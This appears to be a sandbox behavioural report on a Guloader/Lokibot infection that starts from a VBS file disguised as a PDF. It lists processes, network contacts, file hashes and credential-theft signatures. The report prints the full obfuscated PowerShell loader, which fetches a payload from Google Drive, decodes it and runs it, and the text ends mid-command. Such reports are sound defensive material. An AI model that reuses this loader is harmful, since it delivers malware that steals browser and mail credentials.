');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nonapostatizings.Non && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/1680-4-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp
memory/1680-5-0x000000001B740000-0x000000001BA22000-memory.dmp
memory/1680-6-0x00000000021D0000-0x00000000021D8000-memory.dmp
memory/1680-7-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp
memory/1680-8-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp
memory/1680-9-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp
memory/1680-10-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp
memory/1680-11-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp
memory/1680-13-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp
memory/1680-14-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EFVWZB8QK8CY6JUJK3DY.temp
| MD5 | 9c65fa1a7d2be75f190366ff7ed7728a |
| SHA1 | 7d2d2bda4aeccf632f664af3d21fdcfc44f989af |
| SHA256 | 12f276750083e4092ebd6a7cdc7790cafaec4c77b3b2eb9555a93d02ce87c2a6 |
| SHA512 | 2b2aa7523e8b7394775d4752fb5355a4e7567e5047d8ed02b832b42ca64f4f6f0a1c216b283eb8d86230af177d2691778a2b619808476364236e8b50aa10873a |
C:\Users\Admin\AppData\Roaming\Nonapostatizings.Non
| MD5 | 762077e498d7a658ee381fcfaf25d060 |
| SHA1 | 26410bd382fe84fedeec847889e22f4bb1964931 |
| SHA256 | 7fa884749148a539e45b787679fe8524daf7f7d8c4c4db6207a60932ab7e7a79 |
| SHA512 | 60aff6624dca974f03fb57b78408f2505fd2878cbaeaf9a05a434344984c7c373424e3bb30f90db7c800f56100b7bc3cb316b57d3128266accdfbb3a0a2a1c76 |
memory/2928-19-0x0000000006670000-0x0000000008BF3000-memory.dmp
memory/2624-20-0x0000000000870000-0x0000000002DF3000-memory.dmp
memory/2624-40-0x0000000000870000-0x0000000002DF3000-memory.dmp
memory/1680-41-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-16 13:32
Reported
2024-09-16 13:35
Platform
win10v2004-20240802-en
Max time kernel
142s
Max time network
148s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1324 set thread context of 4348 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 Reco.Unnom0Forte ';$Cateringlario=Bevandret 'K.svauo.erasPalpeEVess.RAbort-FrdigAbagsigTmmereAlminn Pa tterhve ';$Kropssprog=Bevandret 'Frimrh,lokkt odeltEmulspAc,uis inde: Ska./Stigr/HereddImarer Re uiTuffev odbe Bind.tovnigGuateoU faroParkegInterlbund eStege.SystucOversoP,rmemSvuls/ BloduApparcLin e?A opeeSchtixOr,efpInstro U flr B,ldtMogot= GrundPlastono.fow da anA.thrlTiljuoS.mora .enndUpflu&Pomo i Tem.dUnm v=Insid1 ntelASvajeRPre oF P stM WhitqRurergT.lriQHo ca9,roemHSmergy oghamChampLRi gepFolebwVrget2HolocXSemesoProjeiTriksFfriedgRhodag conc4Befol4ChronfDupliTTrkl,bS,lteWPrfa,Z Hovey Non NSqui,KRer gOUbeta ';$Nitrosite=Bevandret 'Besti>Su.er ';$Locusting144=Bevandret 'concriEnd ce C,keXGenkb ';$Abdicator='Suldans';$Dicatalectic = Bevandret 'TransePrdikc olamh lleoAbbey Refri%Beaveahaglbp,rayep Ringd algbaE foltDesina acht%Uns,m\Bev sNp rtmo,axonnAftrka RosepKv,lioD,spisMi jttImmunaMedlet Tridi .otlzCo iciFindynPengeg Tress Yabu.AbstrN muraosest,nSkr,e Unma&Glott&Rugni Reduce ominc reskh Resho Fy r Ki kutUlpmi ';Levir (Bevandret 'Palat$RichegGidsel rffeoMinerb ,evoaAstralampel:AntisEA.hopn F.nej O deeUdvidtMoti,=Stili(B rikcBrasem PremdVerni Skbn./ ThebcEvang Agram$DowdiDPrepri rbejcK,leraGrovdtAnsttaEk.emlBir heAttlecHusmnt Tyr iInvescUn og) Ungk ');Levir (Bevandret ' Spu $Ild bgPitomlBefrioE ersbKlim,aM jeml Maal:Do keW Supre AutoeGa sskTiltae .aanndaugad magfGreylr rkrei P ectpervi=Forrd$t murKUo.fir mangoSuf.opAltersOpsnasIn,erpattr rnondeoUdeergEnmes.pr grs FastpLufttlPern iBuf etA.tma( kole$ChimnNHovedi GenetAutomr BrunoSteddsInfigiTanket Ca.aeCache)Unhou ');Levir (Bevandret 'Res r[Bi elNA dele HjertBalli.Kol,kSVa uuecammerKnavevSp oni Stalct ange JamaP St xoEnfeti JernnInkakt DramMHvil.a milin orsyaUnderg MinieTegnerStrit] Stro:Barre:IntenSkapnieSprric aturuF rber Ski,iOverctLeucoyDamn PEksperNitroo SysttKedeloFeriecAutokoKoksel unk Juri =.heat Eriks[ Slv.NCentreAnmastDem r. ReinS DroseOmkrscHologuFlipdrElmaaiLimnotB achyNevscPopsenrDaakao echyt F.broTeroscBoligoCau.alPo luTIndbyy Non pAmoebeKlie ]Fi it:Inval: tatuTParahlTriumsForbe1Perit2Makro ');$Kropssprog=$Weekendfrit[0];$undrunken= (Bevandret 'Unwat$tamp gTe.delTutteOYoungBkogepavok.elEa th:Raakah oldsA BagdV SpalB Ril iT sseODistol KamcoUndvigConstIFo,ktS,eassK M ds=Ap ean jeneE NutswS.ole-FraskoMicroBYrk rJShamoEDek pcFjodoTSuper ZippSJok sYKos.esRev et AbioERastpmMass . Retrn L ukEBedewt Trau.CrucewFodnoECongobSabziCtilkaL LectiT dimEtertuNTermot');$undrunken+=$Enjet[1];Levir ($undrunken);Levir (Bevandret 'Stern$Jarl h AnegaKvartvDicerbSolceiCi,cuoBegunl lhexoBoratgImmigiSalifsOu pekPukke.Amal H TeeteChitta KlosdUnwateDragsropl tsFo sk[Const$ForbrCBindia inintLseneePicayrSour iLi nin .otag nitlSandca ensrRedemiRomeroKruge]Toler= ravi$De,tiM RdstaOve et ChlosSa.me ');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 'FljetSDgnratScollaC arkr tifttPa,ag-RaglaSToccal RkeneBandledosimp ini gow s4Skyde ');Levir (Bevandret 'Brisk$ Progg partlBilleoVikinbSkakta ThrulSnnek:NaragD Smrsa CoedrN,ncotS tsfadiffugAc.din ChetaAratinSoffi=Tab n( StriTFrstee atsusVidertEkspo-Fori PRepreaBver.tGloheh O.di Askeb$ SkjoMS,akkuAnklalVanditslimiiDentidGa.rne IntenNegleo raemDealliOve rnPseudaSagsbt ensliAncisoMinkinAfln aUnedgl redi)Wh op ') ;Levir (Bevandret 'Net.p$ RivugF brilPostuo Fregbls.laaLivs,l Inde:Hy erDInduseColornln,ero IsoltK rkea OvertPapi u HolimS pho= Unde$PopligBags lresero nticbOlde aGrundlDad i: ClapOGandhpJ,lpapSkriviDr abdMateraTusinnTumpfs Swim+Overh+fodbo%Urteg$TrompWFibrie melleFigurkfoxlieUndernTumtudTinpefSuperrSwankiTiddytVenli.A,klac xpanoCes ku ItainSmrebtInco. ') ;$Kropssprog=$Weekendfrit[$Denotatum];}$Antisiphon47=335402;$filnumre=29061;Levir (Bevandret 'Slutn$Telefg RaadlStenkoSeignb PostaPosnilSpred: enelOSkraavUneneeElevrrForsnmUdle,iLinielNonchiDiagntJu,ioaAweatrDisiliV rucs welltE,ageiPrdikcUnrec ,ucc= Betj MasocGPreboeBevrttTangn-hetaeCCarsmoEpiton ,ncotHypereForton U detLderr Papel$HulkiMCanosuhaandlKissmtMezzoiDollmdPhonae allunRefo o A chmFriv i ubcanSubspaFle btfaksiiSmittoSightnE genaCommel ilte ');Levir (Bevandret 'Cuboi$Em.owgInadhl SulfoPrimrb Han aCog,ol Loft:PumpeSArbejpTr ruoPacetrHieraiinvolnGradag nbros,kibssProprt HurwaAnnult Co tiBes,ooInfilnUns,neMotorrslang C,rtw=,ntra Hyper[Blu.bSDiscryCatvusHobhotLuxu,eTilr m For .OstecCLinieoudspenvolosvLid,aeProlirUdvirtSkopu]Statu:aarti: KronFWernar Dento Co am JustB ChecaMeje,sggeble Fung6Eolop4ant cSsporvtGeleer.emini Un dnAvertg Cita( rick$EternONdkskvdisc e BombrHuggem Bin,iHors lPerfeiOplystGalataContrr OrlaiN,npasOver tHebdoiUndescRepro) ouce ');Levir (Bevandret 'budd $TappegJ ddyl SecuoForsgb T blaNrofflFract: toppOHushouTetantRegnesPatrutOverhiSl,ernFummmgDe.ar H.rod=Iron, Bakk[ bro.S MarcyPerpesSwirrtPanameSpatim Regn.T,adeT ArbeePins xFlagstInter.HypsiE SjllnAgen.c SkrvocarvodJe.emiFranknUnsa gDatao]Advar:Rifle:Des gAPolysSH emsCKiltiI ydskIHalvr.RasteGFngseePe titAnimiS Plait pildrS ormiReimanEfte gKonc.(Wh el$Anti,SCoho,pPropro TonirAut riCoynunFrilagMindls.ullas DeprtGut ia C stt UdmniAn.eloSlappnperfeeTicktrStats) lvsm ');Levir (Bevandret ' Fler$Unbrugfl,xilOutgroFla sb,arbeaUnl,nlFlus :PleocHDestieInde rNeutraAndelu aselsO,erm= Ov.r$CisteONyerhu Warft asersUna,ftScarciF tidn janigRyge .Kiti scoop.uTrkerb uarsPo,tct nmagr,artii Nonsn ShahgSkval( K va$,erisA IngunStenotGudmdisubtlsS mmeiAr,anpNedruhReageo ndernthyr.4 lect7Uncov, Halv$HousefDer,ni annlAr,ognReassuAutormAntenr regneTarif)Ca ak ');Levir $Heraus;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nonapostatizings.Non && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Undeductible Erklrende Scrutinising #>;$Unidigitate='Paggle';<#Gennemsnitslager Blegeste parasolette Bankrolling Pullman #>;$Lyophile=$host.PrivateData;If ($Lyophile) {$Fichuet++;}function Bevandret($Chay){$Akkordeoner10=$Chay.Length-$Fichuet;for( $Catering=5;$Catering -lt $Akkordeoner10;$Catering+=6){$Sortbrshandel228+=$Chay[$Catering];}$Sortbrshandel228;}function Levir($Circumtonsillar){ & ($Locusting144) ($Circumtonsillar);}$Mats=Bevandret 'PressMGaussoSvajrzIstaniSpra,lFlenslBenziaDokt /Ar.he5Sub r. Zuri0Akk r .dgi(Expr Wg naaiAlsacnDecimdCatasoOctadw equis Trai SeedN TegnT inis Desti1 Comb0Epige.Model0 Flat;Cant exanW P epiaristnOv,rs6Gru,d4Porse;Sturt AfgifxTilt 6Cling4,isto;legis McginrAssigvVapor:Aldol1Frogl2Zardm1Doven.kae l0Dob e)Efter PolyGUnipeeCrowncBlis,kNapifoListe/ Half2 Sy e0Prepe1,pina0 riss0Amtsg1Ala k0Smelt1d.mme Beti,Fe anaiDob.erTilsieMontrfMultiolns.ix Poe./Hipp,1Tilba2 Bele1 Reco.Unnom0Forte ';$Cateringlario=Bevandret 'K.svauo.erasPalpeEVess.RAbort-FrdigAbagsigTmmereAlminn Pa tterhve ';$Kropssprog=Bevandret 'Frimrh,lokkt odeltEmulspAc,uis inde: Ska./Stigr/HereddImarer Re uiTuffev odbe Bind.tovnigGuateoU faroParkegInterlbund eStege.SystucOversoP,rmemSvuls/ BloduApparcLin e?A opeeSchtixOr,efpInstro U flr B,ldtMogot= GrundPlastono.fow da anA.thrlTiljuoS.mora .enndUpflu&Pomo i Tem.dUnm v=Insid1 ntelASvajeRPre oF P stM WhitqRurergT.lriQHo ca9,roemHSmergy oghamChampLRi gepFolebwVrget2HolocXSemesoProjeiTriksFfriedgRhodag conc4Befol4ChronfDupliTTrkl,bS,lteWPrfa,Z Hovey Non NSqui,KRer gOUbeta ';$Nitrosite=Bevandret 'Besti>Su.er ';$Locusting144=Bevandret 'concriEnd ce C,keXGenkb ';$Abdicator='Suldans';$Dicatalectic = Bevandret 'TransePrdikc olamh lleoAbbey Refri%Beaveahaglbp,rayep Ringd algbaE foltDesina acht%Uns,m\Bev sNp rtmo,axonnAftrka RosepKv,lioD,spisMi jttImmunaMedlet Tridi .otlzCo iciFindynPengeg Tress Yabu.AbstrN muraosest,nSkr,e Unma&Glott&Rugni Reduce ominc reskh Resho Fy r Ki kutUlpmi ';Levir (Bevandret 'Palat$RichegGidsel rffeoMinerb ,evoaAstralampel:AntisEA.hopn F.nej O deeUdvidtMoti,=Stili(B rikcBrasem PremdVerni Skbn./ ThebcEvang Agram$DowdiDPrepri rbejcK,leraGrovdtAnsttaEk.emlBir heAttlecHusmnt Tyr iInvescUn og) Ungk ');Levir (Bevandret ' Spu $Ild bgPitomlBefrioE ersbKlim,aM jeml Maal:Do keW Supre AutoeGa sskTiltae .aanndaugad magfGreylr rkrei P ectpervi=Forrd$t murKUo.fir mangoSuf.opAltersOpsnasIn,erpattr rnondeoUdeergEnmes.pr grs FastpLufttlPern iBuf etA.tma( kole$ChimnNHovedi GenetAutomr BrunoSteddsInfigiTanket Ca.aeCache)Unhou ');Levir (Bevandret 'Res r[Bi elNA dele HjertBalli.Kol,kSVa uuecammerKnavevSp oni Stalct ange JamaP St xoEnfeti JernnInkakt DramMHvil.a milin orsyaUnderg MinieTegnerStrit] Stro:Barre:IntenSkapnieSprric aturuF rber Ski,iOverctLeucoyDamn PEksperNitroo SysttKedeloFeriecAutokoKoksel unk Juri =.heat Eriks[ Slv.NCentreAnmastDem r. ReinS DroseOmkrscHologuFlipdrElmaaiLimnotB achyNevscPopsenrDaakao echyt F.broTeroscBoligoCau.alPo luTIndbyy Non pAmoebeKlie ]Fi it:Inval: tatuTParahlTriumsForbe1Perit2Makro ');$Kropssprog=$Weekendfrit[0];$undrunken= (Bevandret 'Unwat$tamp gTe.delTutteOYoungBkogepavok.elEa th:Raakah oldsA BagdV SpalB Ril iT sseODistol KamcoUndvigConstIFo,ktS,eassK M ds=Ap ean jeneE NutswS.ole-FraskoMicroBYrk rJShamoEDek pcFjodoTSuper ZippSJok sYKos.esRev et AbioERastpmMass . Retrn L ukEBedewt Trau.CrucewFodnoECongobSabziCtilkaL LectiT dimEtertuNTermot');$undrunken+=$Enjet[1];Levir ($undrunken);Levir (Bevandret 'Stern$Jarl h AnegaKvartvDicerbSolceiCi,cuoBegunl lhexoBoratgImmigiSalifsOu pekPukke.Amal H TeeteChitta KlosdUnwateDragsropl tsFo sk[Const$ForbrCBindia inintLseneePicayrSour iLi nin .otag nitlSandca ensrRedemiRomeroKruge]Toler= ravi$De,tiM RdstaOve et ChlosSa.me ');$Evese=Bevandret 'Lice $Langehbaan a BearvFag obNephriReconoMatril Proco Re ngLifeliSkihesTryghkIndep.InterDChelooUlejlw B.rnn BelalCapsuosold aGuttid Uni FFiguri Gi.pl PrteeAnfly(E,ten$AcadeKCompur alpeoDend.punfrusIndspsPresip evor AntnoTran g Svan,Sreje$ pulsMTungsu Kludl rkaitC,poniAto adAf,tie,xidanForlyosulphmC,anciNodu,nPhiloast,tutElysiiSmothoPsit n Turia ylonlDetin)Solmi ';$Multidenominational=$Enjet[0];Levir (Bevandret 'Forre$ PartgKatatlU.whiOEpitoBPokeraPayabLC pta:Anta DGrumsaAsla RAcmatTSgneda verhg vedN as,rAParlanAuton= Py.i(Gr.viTSigbeEPetrosCortitBortk-Arbejpfis eA ijuTLdaasHSy os Disce$K.nvoMSysilUMyxopLm.terthead IsockmDKakotERin nNGrafiO virkmSixtyI Amb nfremkaIdriftKostpiDestaOHose nNymphaAnhngLFlipp)De kl ');while (!$Dartagnan) {Levir (Bevandret 'Annui$Ting,gUnfrul Dul o KludbMlle a Fejll ch m:pr.toSOpfathTus haI.dusbSubmoaBiggesFabulhNnsom=Malor$B efotExilirPs uduS aireIse k ') ;Levir $Evese;Levir (Bevandret 